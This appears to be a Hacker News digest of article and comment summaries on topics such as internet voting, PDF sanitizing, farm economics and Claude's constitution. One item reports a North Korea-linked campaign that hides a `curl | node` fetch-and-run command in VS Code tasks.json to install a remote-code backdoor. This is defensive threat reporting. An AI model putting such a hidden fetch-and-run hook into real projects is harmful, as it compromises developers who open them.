HackerNews Digest

January 22, 2026

Internet voting is insecure and should not be used in public elections

Internet voting remains insecure and cannot be made safe with existing technology. All such systems suffer three core vulnerabilities: (1) voter‑device malware can alter selections; (2) server‑side malware or insider attacks can modify ballots; (3) county‑office systems that process internet ballots are equally vulnerable to hacking. Unlike paper ballots, a single global attacker can affect large numbers of votes undetected. End‑to‑end verifiable internet voting (E2E‑VIV) adds further weaknesses: verification apps may be compromised, receipt‑free designs are complex and rarely used, and there is no reliable dispute‑resolution mechanism for voters who detect fraud. The recently announced “VoteSecure” SDK, promoted by Bradley Tusk’s Mobile Voting Foundation, exhibits the same security gaps; developers acknowledge the flaws and lack a viable remedy. The scientific consensus, reflected in decades of peer‑reviewed research, holds that no known or foreseeable technology can secure internet voting for public elections. Consequently, election officials should treat press releases about internet voting with caution and rely on established, peer‑reviewed security analyses.
Read full article →
The comments collectively emphasize trust as the decisive factor in elections, viewing paper‑based voting as the more reliable and auditable method because its vulnerabilities and safeguards are well understood. Concerns dominate regarding the security, secrecy, and scalability of internet voting, with many highlighting the ease of large‑scale manipulation and the difficulty of guaranteeing a trustworthy system. A smaller subset argues that strong cryptographic techniques, blockchain or rigorous oversight could make online voting feasible, but most remain skeptical that such safeguards can be universally achieved. Overall sentiment favors maintaining or reverting to paper or hybrid voting processes.
Read all comments →

Take potentially dangerous PDFs, and convert them to safe PDFs

GitHub repository freedomofpress/dangerzone is a tool designed to mitigate security risks in file handling by converting potentially malicious PDFs, Office documents, and image files into safe, sanitized PDFs. The project’s interface includes settings and conversion functions, as indicated by associated UI screenshots. The repository lists contributions from multiple users (e.g., @apyrgio, @micahflee, @deeplow, @almet, @jkarasti, @dependabot[bot], @gmarmstrong, @naglis, @OctopusET, @garrettr, @EtiennePerot, @keywordnew, @rocodes, @sudwhiwdh). Access to the repository’s main content is currently restricted, shown by the message “You can’t perform that action at this time.” No additional documentation or code details are present in the provided text.
Read full article →
The comments express caution about leaking documents, emphasizing the need for strong warnings and acknowledging that personal exposure to source files makes safety verification difficult. Watermarking and text paraphrasing are noted as partial mitigations, while sandboxed Docker execution and limited‑function PDF viewers are suggested as safer alternatives. Users criticize the current interface for lacking command‑line integration, appreciate the compression benefits of OCR‑based processing, and highlight the high cost of commercial CDR tools, promoting a free, multi‑format preview service and questioning its relevance for image files.
Read all comments →

Significant US Farm Losses Persist, Despite Federal Assistance

The USDA Economic Research Service’s December update projects per‑acre production costs for all nine principal row crops to rise again in 2026, extending a cost‑increase trend that began after 2021. 2025 total costs range from $396/acre for wheat to $1,336/acre for rice; 2026 increases of 2.2‑3.3% are expected, keeping wheat, sorghum and oats at the low end and cotton, peanuts and rice at the high end. Operating expenses—seed, fertilizer, chemicals, fuel, labor, interest, maintenance—remain well above pre‑2021 levels, with notable hikes in interest (+71%), fertilizer (+37%), fuel (+32%), labor (+47%) and chemicals (+25%). Commodity prices are insufficient to cover these costs, so farms are projected to post losses for a fourth‑fifth consecutive year even after crop‑insurance indemnities and federal assistance (Farmer Bridge Assistance and Emergency Commodity Assistance Program). Net sector losses exceed $50 billion over the past three crop years; per‑acre losses range from $42 (barley) to $210 (rice). Specialty‑crop programs provide limited relief, leaving many growers with persistent negative margins and strained cash flow. Proposed safety‑net enhancements (OBBBA) will not take effect until late 2026, so short‑term financial pressures remain.
Read full article →
The discussion conveys strong criticism of the current agricultural system, emphasizing that large corporations dominate seed, equipment, processing and market pricing, leaving farmers with limited bargaining power and often pushing them toward bankruptcy or land loss. Subsidies are viewed as largely transferring wealth to these corporations rather than stabilizing farms, while strategic concerns about food security and national self‑sufficiency are highlighted. Alternative models such as Canadian supply‑management and Chinese government‑directed support are presented as possible ways to achieve stable prices and protect smaller producers.
Read all comments →

Binary Fuse Filters: Fast and Smaller Than XOR Filters

Binary Fuse Filters are presented as a new class of probabilistic set‑membership data structures that achieve both faster query times and reduced memory usage compared to existing xor filters. The work focuses on designing the filter’s internal representation and construction algorithms to improve performance while maintaining comparable false‑positive rates. Empirical results demonstrate that binary fuse filters consistently outperform xor filters in speed and occupy less space, making them advantageous for high‑throughput applications requiring compact approximate membership testing.
Read full article →
None
Read all comments →

Show HN: ChartGPU – WebGPU-powered charting library (1M points at 60fps)

ChartGPU is an open‑source charting library built on WebGPU, enabling high‑performance, GPU‑accelerated visualizations for web applications. The project is hosted on GitHub and distributed via npm, providing developers with a ready‑to‑install package. It includes a live demo showcasing various chart types, such as candlestick charts, demonstrating the library’s rendering capabilities. The repository lists its licensing information, allowing unrestricted use under the specified terms. Overall, ChartGPU offers a modern, GPU‑based solution for creating interactive, aesthetically pleasing charts directly in the browser.
Read full article →
Enthusiasm dominates the discussion, with many noting the remarkable smoothness, high frame rates and scalability of the WebGPU charts, especially for large datasets and live‑streaming scenarios. Practical feedback highlights bugs such as slider drift, panning thresholds, and missing fallback for browsers lacking WebGPU, alongside requests for columnar data layouts, worker‑thread/offscreen support, and integration with existing ecosystems like Vega, React Native or Jupyter. Skeptical voices question the necessity for extreme point counts, cite compatibility gaps on Safari, Firefox and some Linux setups, and raise security concerns about GPU access. Overall the project is praised for its performance while prompting several usability and portability improvements.
Read all comments →

Claude's new constitution

Claude’s new constitution is a publicly released, CC0‑licensed document that outlines Anthropic’s intended values and behavior for the Claude model. It serves as the primary authority guiding training, synthetic data generation, and future model updates, and it is meant to be read by Claude itself to inform its actions. The constitution prioritizes four core properties—broad safety (preserving human oversight), broad ethics (honesty, avoidance of harm), compliance with Anthropic’s specific guidelines, and genuine helpfulness—listed in order of precedence for conflict resolution. Its structure includes sections on helpfulness, Anthropic’s supplemental guidelines, Claude’s ethics (including hard constraints such as prohibitions on bioweapon assistance), safety over ethics to maintain controllability, and reflections on Claude’s nature, identity, and psychological security. The document emphasizes explanatory, principle‑based guidance over rigid rules, aiming to enable generalization to novel situations while retaining “hard constraints” for high‑risk actions. Anthropic commits to ongoing transparency, external expert feedback, and continuous refinement as model capabilities evolve.
Read full article →
The comments largely view Anthropic’s constitution as vague, relativistic and largely symbolic, suspecting it serves more as legal cover, marketing or PR than as a concrete safety mechanism. Critics note the anthropomorphizing language, the absence of fixed moral anchors, and the potential for loopholes that let models bypass constraints, questioning its practical impact and transparency. While some acknowledge the need for guidance in model training, the prevailing tone is distrustful, emphasizing that the document appears performative and insufficiently backed by evidence.
Read all comments →

Threat Actors Expand Abuse of Microsoft Visual Studio Code

The campaign, linked to a North‑Korean threat actor, leverages Microsoft Visual Studio Code tasks.json files to execute malicious code when a victim opens a cloned GitHub or GitLab repository in VS Code. Granting repository trust triggers a background command on macOS that runs `nohup bash -c "curl -s | node"` to fetch an obfuscated JavaScript payload hosted on vercel.app. The payload (SHA‑256 932a678…) contains largely dead code but implements a persistent backdoor that: - Beacons every 5 seconds to a C2 server, sending hostname, MAC addresses, OS details and public IP (via ipify.org). - Executes arbitrary JavaScript supplied by the C2, allowing dynamic import of Node.js modules and full remote code execution. - Can spawn child processes, terminate itself, and clean up on attacker command. Subsequent payloads reuse the same C2 infrastructure and show AI‑generated code comments. The abuse demonstrates adaptation of developer tools for macOS malware delivery. Mitigations include enabling Jamf Threat Prevention/Advanced Threat Controls in block mode and vetting third‑party repositories and npm install scripts before trusting them.
Read full article →
None
Read all comments →

Skip is now free and open source

Skip is a cross‑platform development framework that lets developers build native iOS and Android apps from a single Swift / SwiftUI codebase. Since its 2023 launch, Skip progressed from a Swift‑to‑Kotlin transpiler to a native Swift Android SDK and a comprehensive SwiftUI implementation supporting many integration frameworks and Swift packages. Up to version 1.7 the tool required a paid subscription and license keys for business use; free usage was limited to indie developers below a revenue threshold. As of Skip 1.7, all licensing is removed: no keys, EULAs, or trial periods. The core engine, “skipstone,” is now open‑source on GitHub under a free license, handling project creation, Xcode/SwiftPM plugins, iOS‑to‑Android transformation, resource bundling, JNI bridge generation, transpilation, packaging, and export. Documentation and the site have moved to skip.dev, also open‑source. Existing paid plans convert to Individual or Supporter tiers, and the project seeks community funding via GitHub Sponsors and corporate sponsorships to sustain development. Skip remains bootstrapped, independent of venture funding, and positions itself as a no‑compromise alternative to legacy cross‑platform tools.
Read full article →
Comments show mixed reactions to the new open‑source cross‑platform tool. Users express curiosity and willingness to try it, especially for consolidating iOS and Android code, but request clearer licensing, real‑world case studies, and evidence of performance and accessibility support. Concerns arise about the high memory recommendation, limited documentation on complex UI features, and uncertainty about maturity compared with Flutter, React Native, Compose, or MAUI. Overall sentiment leans toward cautious optimism tempered by practical doubts about tooling readiness and adoption evidence.
Read all comments →

Golfing APL/K in 90 Lines of Python

None
Read full article →
The comment notes that early Lisp lacked many data structures, which were later added, and draws a parallel to Whitney’s ksimple implementation. It expresses strong displeasure with K’s reliance on non‑standard keyboard symbols, describing them as attention‑seeking and frustrating, while simultaneously praising K programs for their extreme terseness and aesthetic appeal, likening that beauty to APL. Overall, the tone blends criticism of the language’s syntax choices with admiration for its expressive power.
Read all comments →

Show HN: TerabyteDeals – Compare storage prices by $/TB

None
Read full article →
Comments focus on frequent price inaccuracies across regions, with users noting discrepancies between the site’s listings and actual Amazon prices for HDDs and SSDs, especially in the US, France, Germany, and India. Many request broader market support, inclusion of local retailers like Flipkart, and additional filters such as NAS‑rated drives, RPM, and price‑per‑TB graphs. While some appreciate the multi‑source dropdown interface, overall sentiment is frustration over unreliable data and a desire for more comprehensive, verifiable pricing and feature enhancements.
Read all comments →